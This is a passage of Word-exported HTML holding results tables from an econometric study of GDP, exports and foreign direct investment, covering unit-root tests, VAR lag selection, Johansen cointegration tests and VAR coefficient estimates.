Roman,Times,serif\">Table <!--[if supportFields]><span style=\'font-size:10.0pt;\r\nline-height:115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:\r\nCalibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span><![endif]-->2<!--[if supportFields]><span\r\nstyle=\'font-size:10.0pt;line-height:115%;font-family:\"Times New Roman\",serif;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:\r\nEN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span><![endif]-->: &nbsp;<strong>First difference ADF and PP test statistics results.</strong></span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"MsoTableGrid\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Variables </span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">ADF first difference test statistics </span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">PP first difference test statistics </span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Intercept </span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Trend and intercept </span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Intercept </span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Trend and intercept </span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:62.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">lngdp </span></p>\r\n			</td>\r\n			<td style=\"width:86.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">-2.402339</span></p>\r\n			</td>\r\n			<td style=\"width:124.55pt\">\r\n			<p><span style=\"font-size:10.0pt\">-4.379273</span></p>\r\n			</td>\r\n			<td style=\"width:86.95pt\">\r\n			<p><span style=\"font-size:10.0pt\">-3.666488</span></p>\r\n			</td>\r\n			<td style=\"width:117.9pt\">\r\n			<p><span style=\"font-size:10.0pt\">-3.753592</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:62.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">lnexport </span></p>\r\n			</td>\r\n			<td style=\"width:86.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">-5.431495</span></p>\r\n			</td>\r\n			<td style=\"width:124.55pt\">\r\n			<p><span style=\"font-size:10.0pt\">-5.368022</span></p>\r\n			</td>\r\n			<td style=\"width:86.95pt\">\r\n			<p><span style=\"font-size:10.0pt\">-5.438389</span></p>\r\n			</td>\r\n			<td style=\"width:117.9pt\">\r\n			<p><span style=\"font-size:10.0pt\">-5.368022</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:62.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">Lnfdi</span></p>\r\n			</td>\r\n			<td style=\"width:86.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">-7.084626</span></p>\r\n			</td>\r\n			<td style=\"width:124.55pt\">\r\n			<p><span style=\"font-size:10.0pt\">-7.172134</span></p>\r\n			</td>\r\n			<td style=\"width:86.95pt\">\r\n			<p><span style=\"font-size:10.0pt\">-8.807796</span></p>\r\n			</td>\r\n			<td style=\"width:117.9pt\">\r\n			<p><span style=\"font-size:10.0pt\">-8.674488</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:6.65in\">\r\n			<p style=\"margin-left:5.4pt; margin-right:0in; text-align:center\"><span style=\"font-size:10.0pt\">Source: Own computation, Critical value at 5%:-3.19</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Table <!--[if supportFields]><span style=\'font-size:10.0pt;\r\nline-height:115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:\r\nCalibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span><![endif]-->3<!--[if supportFields]><span\r\nstyle=\'font-size:10.0pt;line-height:115%;font-family:\"Times New Roman\",serif;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:\r\nEN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span><![endif]-->: &nbsp;<strong>VAR Lag Order Selection Criteria.</strong></span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Lag</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">LogL</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">LR</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">FPE</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">AIC</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">SC</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">HQ</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:30.0pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0</span></span></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-128.8667</span></span></p>\r\n			</td>\r\n			<td style=\"width:67.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">NA </span></span></p>\r\n			</td>\r\n			<td style=\"width:60.45pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.080510</span></span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">5.994077</span></span></p>\r\n			</td>\r\n			<td style=\"width:58.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">6.234965</span></span></p>\r\n			</td>\r\n			<td style=\"width:65.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">6.083877</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:#c4bc96; width:30.0pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">1</span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#c4bc96; width:65.1pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-24.95777</span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#c4bc96; width:67.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">184.7270*</span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#c4bc96; width:60.45pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.001189*</span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#c4bc96; width:63.0pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">1.775901*</span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#c4bc96; width:58.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">2.378122*</span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#c4bc96; width:65.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">2.000403*</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:30.0pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">2</span></span></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-19.26107</span></span></p>\r\n			</td>\r\n			<td style=\"width:67.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">9.367899</span></span></p>\r\n			</td>\r\n			<td style=\"width:60.45pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.001389</span></span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">1.922714</span></span></p>\r\n			</td>\r\n			<td style=\"width:58.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">2.886268</span></span></p>\r\n			</td>\r\n			<td style=\"width:65.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">2.281917</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"7\" style=\"width:410.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Source: Own computation, using Eviews 9.0<br />\r\n			Note: * indicates lag order selected by the criterion<br />\r\n			&nbsp;LR: sequential modified LR test statistic (each test at 5% level)<br />\r\n			&nbsp;FPE: Final prediction error<br />\r\n			&nbsp;AIC: Akaike information criterion<br />\r\n			&nbsp;SC: Schwarz information criterion<br />\r\n			&nbsp;HQ: Hannan-Quinn information criterion</span></span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Table <!--[if supportFields]><span style=\'font-size:10.0pt;\r\nline-height:115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:\r\nCalibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span><![endif]-->4<!--[if supportFields]><span\r\nstyle=\'font-size:10.0pt;line-height:115%;font-family:\"Times New Roman\",serif;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:\r\nEN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span><![endif]-->: &nbsp;<strong>Johansen Cointegration Test with Optimal Lag Length of One.</strong></span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"background-color:#002060; width:411.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Unrestricted Cointegration Rank Test (Trace)</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:106.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Hypothesized</span></span></p>\r\n			</td>\r\n			<td style=\"width:90.2pt\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Trace</span></span></p>\r\n			</td>\r\n			<td style=\"width:66.7pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.05</span></span></p>\r\n			</td>\r\n			<td style=\"width:77.85pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:106.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">No. of CE(s)</span></span></p>\r\n			</td>\r\n			<td style=\"width:90.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Eigen value</span></span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Statistic</span></span></p>\r\n			</td>\r\n			<td style=\"width:66.7pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Critical Value</span></span></p>\r\n			</td>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Prob.**</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:106.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">None</span></span></p>\r\n			</td>\r\n			<td style=\"width:90.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.247</span></span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">25.345</span></span></p>\r\n			</td>\r\n			<td style=\"width:66.7pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">35.193</span></span></p>\r\n			</td>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.380</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:106.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">At most 1</span></span></p>\r\n			</td>\r\n			<td style=\"width:90.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.159</span></span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">12.594</span></span></p>\r\n			</td>\r\n			<td style=\"width:66.7pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">20.262</span></span></p>\r\n			</td>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.397</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:106.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">At most 2</span></span></p>\r\n			</td>\r\n			<td style=\"width:90.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.100</span></span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">4.779s</span></span></p>\r\n			</td>\r\n			<td style=\"width:66.7pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">9.165</span></span></p>\r\n			</td>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.309</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:411.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Trace test indicates no cointegration at the 0.05 level</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:411.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">* denotes rejection of the hypothesis at the 0.05 level</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:411.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">**MacKinnon-Haug-Michelis (1999) p-values</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:411.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Unrestricted Cointegration Rank Test (Maximum Eigen value)</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:106.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Hypothesized</span></span></p>\r\n			</td>\r\n			<td style=\"width:90.2pt\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Max-Eigen</span></span></p>\r\n			</td>\r\n			<td style=\"width:66.7pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.05</span></span></p>\r\n			</td>\r\n			<td style=\"width:77.85pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:106.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">No. of CE(s)</span></span></p>\r\n			</td>\r\n			<td style=\"width:90.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Eigenvalue</span></span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Statistic</span></span></p>\r\n			</td>\r\n			<td style=\"width:66.7pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Critical Value</span></span></p>\r\n			</td>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Prob.**</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:106.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">None</span></span></p>\r\n			</td>\r\n			<td style=\"width:90.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.246764</span></span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">12.752</span></span></p>\r\n			</td>\r\n			<td style=\"width:66.7pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">22.299</span></span></p>\r\n			</td>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.5810</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:106.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">At most 1</span></span></p>\r\n			</td>\r\n			<td style=\"width:90.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.159418</span></span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">7.815</span></span></p>\r\n			</td>\r\n			<td style=\"width:66.7pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">15.892</span></span></p>\r\n			</td>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.5700</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:106.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">At most 2</span></span></p>\r\n			</td>\r\n			<td style=\"width:90.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.100751</span></span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">4.779</span></span></p>\r\n			</td>\r\n			<td style=\"width:66.7pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">9.165</span></span></p>\r\n			</td>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.3085</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:411.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Max-eigenvalue test indicates no cointegration at the 0.05 level</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:411.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">* denotes rejection of the hypothesis at the 0.05 level</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:411.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">**MacKinnon-Haug-Michelis (1999) p-values</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:411.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Source: Own computation</span></span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Table <!--[if supportFields]><span style=\'font-size:10.0pt;\r\nline-height:115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:\r\nCalibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span><![endif]-->5<!--[if supportFields]><span\r\nstyle=\'font-size:10.0pt;line-height:115%;font-family:\"Times New Roman\",serif;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:\r\nEN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span><![endif]-->: &nbsp;<strong>Vector Autoregression Estimates.</strong></span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p><span style=\"color:#ffffff\"><span style=\"font-size:10.0pt\">Standard errors in ( ) &amp; t-statistics in [ ]</span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; height:21.75pt; width:358px\">&nbsp;</td>\r\n			<td style=\"background-color:#002060; height:21.75pt; width:358px\">&nbsp;</td>\r\n			<td style=\"background-color:#002060; height:21.75pt; width:358px\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">DLNGDP</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">DLNFDI</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">DLNEXPORT</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">DLNGDP(-1)</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.563197</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-5.044434</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">2.673177</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[ 3.94951]</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[-2.22128]</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[ 0.96572]</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">DLNFDI(-1)</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.007186</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-0.41245</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.168408</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">(0.00924)</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">(0.14723)</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">(0.17945)</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[ 0.77728]</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[-2.80146]</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			